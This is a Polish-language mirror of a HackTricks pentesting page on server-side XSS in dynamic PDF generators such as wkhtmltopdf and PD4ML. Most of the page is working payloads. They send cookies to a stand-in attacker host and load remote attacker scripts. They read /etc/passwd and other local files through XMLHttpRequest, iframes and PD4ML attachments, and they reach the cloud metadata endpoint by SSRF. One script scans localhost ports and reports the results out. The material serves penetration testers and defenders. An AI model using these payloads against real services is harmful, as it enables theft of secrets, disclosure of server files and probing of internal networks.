mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
9.2 KiB
Markdown
191 lines
9.2 KiB
Markdown
# Server Side XSS (Dynamic PDF)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Server Side XSS (Dynamic PDF)
|
|
|
|
Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
|
|
Więc, jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, będzie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
|
|
|
|
Zauważ, że znaczniki `<script></script>` nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując `<img` ).\
|
|
Również, pamiętaj, że w regularnej eksploatacji będziesz **mógł zobaczyć/pobrać utworzony pdf**, więc będziesz mógł zobaczyć wszystko, co **piszesz za pomocą JS** (używając `document.write()` na przykład). Ale, jeśli **nie możesz zobaczyć** utworzonego PDF, prawdopodobnie będziesz musiał **wyodrębnić informacje, wykonując zapytania webowe do siebie** (Blind).
|
|
|
|
### Popular PDF generation
|
|
|
|
- **wkhtmltopdf** jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source narzędzie wiersza poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
|
|
- **TCPDF** oferuje solidne rozwiązanie w ekosystemie PHP do generacji PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, pokazując swoją wszechstronność w tworzeniu złożonych dokumentów.
|
|
- Dla tych, którzy pracują w środowisku Node.js, **PDFKit** stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treściami internetowymi a formatami do druku.
|
|
- Programiści Java mogą preferować **iText**, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.
|
|
- **FPDF** to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby korzystania z rozbudowanych funkcji.
|
|
|
|
## Payloads
|
|
|
|
### Discovery
|
|
```html
|
|
<!-- Basic discovery, Write something-->
|
|
<img src="x" onerror="document.write('test')" />
|
|
<script>document.write(JSON.stringify(window.location))</script>
|
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
|
|
|
<!--Basic blind discovery, load a resource-->
|
|
<img src="http://attacker.com"/>
|
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
|
<link rel=attachment href="http://attacker.com">
|
|
|
|
<!-- Using base HTML tag -->
|
|
<base href="http://attacker.com" />
|
|
|
|
<!-- Loading external stylesheet -->
|
|
<link rel="stylesheet" src="http://attacker.com" />
|
|
|
|
<!-- Meta-tag to auto-refresh page -->
|
|
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
|
|
|
<!-- Loading external components -->
|
|
<input type="image" src="http://attacker.com" />
|
|
<video src="http://attacker.com" />
|
|
<audio src="http://attacker.com" />
|
|
<audio><source src="http://attacker.com"/></audio>
|
|
<svg src="http://attacker.com" />
|
|
```
|
|
### SVG
|
|
|
|
Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.
|
|
```html
|
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
|
<g>
|
|
<foreignObject width="800" height="500">
|
|
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
|
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
|
</body>
|
|
</foreignObject>
|
|
</g>
|
|
</svg>
|
|
|
|
|
|
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
|
xmlns="http://www.w3.org/2000/svg">
|
|
<circle cx="50" cy="50" r="45" fill="green"
|
|
id="foo"/>
|
|
<script type="text/javascript">
|
|
// <![CDATA[
|
|
alert(1);
|
|
// ]]>
|
|
</script>
|
|
</svg>
|
|
```
|
|
Możesz znaleźć wiele **innych ładunków SVG** w [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
|
|
|
### Ujawnienie ścieżki
|
|
```html
|
|
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
|
if not, you will at least have wich path the bot is accessing -->
|
|
<img src="x" onerror="document.write(window.location)" />
|
|
<script> document.write(window.location) </script>
|
|
```
|
|
### Załaduj zewnętrzny skrypt
|
|
|
|
Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.
|
|
```html
|
|
<script src="http://attacker.com/myscripts.js"></script>
|
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
|
```
|
|
### Odczyt lokalnego pliku / SSRF
|
|
|
|
> [!WARNING]
|
|
> Zmień `file:///etc/passwd` na `http://169.254.169.254/latest/user-data`, aby **spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF)**.
|
|
>
|
|
> Jeśli SSRF jest dozwolone, ale **nie możesz osiągnąć** interesującej domeny lub IP, [sprawdź tę stronę w poszukiwaniu potencjalnych obejść](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
|
```html
|
|
<script>
|
|
x=new XMLHttpRequest;
|
|
x.onload=function(){document.write(btoa(this.responseText))};
|
|
x.open("GET","file:///etc/passwd");x.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
xhzeem = new XMLHttpRequest();
|
|
xhzeem.onload = function(){document.write(this.responseText);}
|
|
xhzeem.onerror = function(){document.write('failed!')}
|
|
xhzeem.open("GET","file:///etc/passwd");
|
|
xhzeem.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<iframe src=file:///etc/passwd></iframe>
|
|
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
|
<link rel=attachment href="file:///root/secret.txt">
|
|
<object data="file:///etc/passwd">
|
|
<portal src="file:///etc/passwd" id=portal>
|
|
<embed src="file:///etc/passwd>" width="400" height="400">
|
|
<style><iframe src="file:///etc/passwd">
|
|
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
|
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
|
```
|
|
|
|
```html
|
|
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
|
```
|
|
### Opóźnienie bota
|
|
```html
|
|
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
|
<script>
|
|
let time = 500;
|
|
setInterval(()=>{
|
|
let img = document.createElement("img");
|
|
img.src = `https://attacker.com/ping?time=${time}ms`;
|
|
time += 500;
|
|
}, 500);
|
|
</script>
|
|
<img src="https://attacker.com/delay">
|
|
```
|
|
### Skanowanie portów
|
|
```html
|
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
|
<script>
|
|
const checkPort = (port) => {
|
|
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
|
let img = document.createElement("img");
|
|
img.src = `http://attacker.com/ping?port=${port}`;
|
|
});
|
|
}
|
|
|
|
for(let i=0; i<1000; i++) {
|
|
checkPort(i);
|
|
}
|
|
</script>
|
|
<img src="https://attacker.com/startingScan">
|
|
```
|
|
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
|
|
|
Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ możesz sprawić, że skrypt załaduje zewnętrzne zasoby). Więc spróbuj to wykorzystać (przeczytać jakieś metadane?).
|
|
|
|
### Attachments: PD4ML
|
|
|
|
Istnieją silniki HTML 2 PDF, które pozwalają na **określenie załączników do PDF**, takie jak **PD4ML**. Możesz nadużyć tej funkcji, aby **dołączyć dowolny lokalny plik** do PDF.\
|
|
Aby otworzyć załącznik, otworzyłem plik w **Firefoxie i dwukrotnie kliknąłem symbol spinacza**, aby **zapisz załącznik** jako nowy plik.\
|
|
Przechwycenie **odpowiedzi PDF** za pomocą burp powinno również **pokazać załącznik w czystym tekście** wewnątrz PDF.
|
|
```html
|
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
|
<html>
|
|
<pd4ml:attachment
|
|
src="/etc/passwd"
|
|
description="attachment sample"
|
|
icon="Paperclip" />
|
|
</html>
|
|
```
|
|
## Odniesienia
|
|
|
|
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
|
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
|
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
|
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
|
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|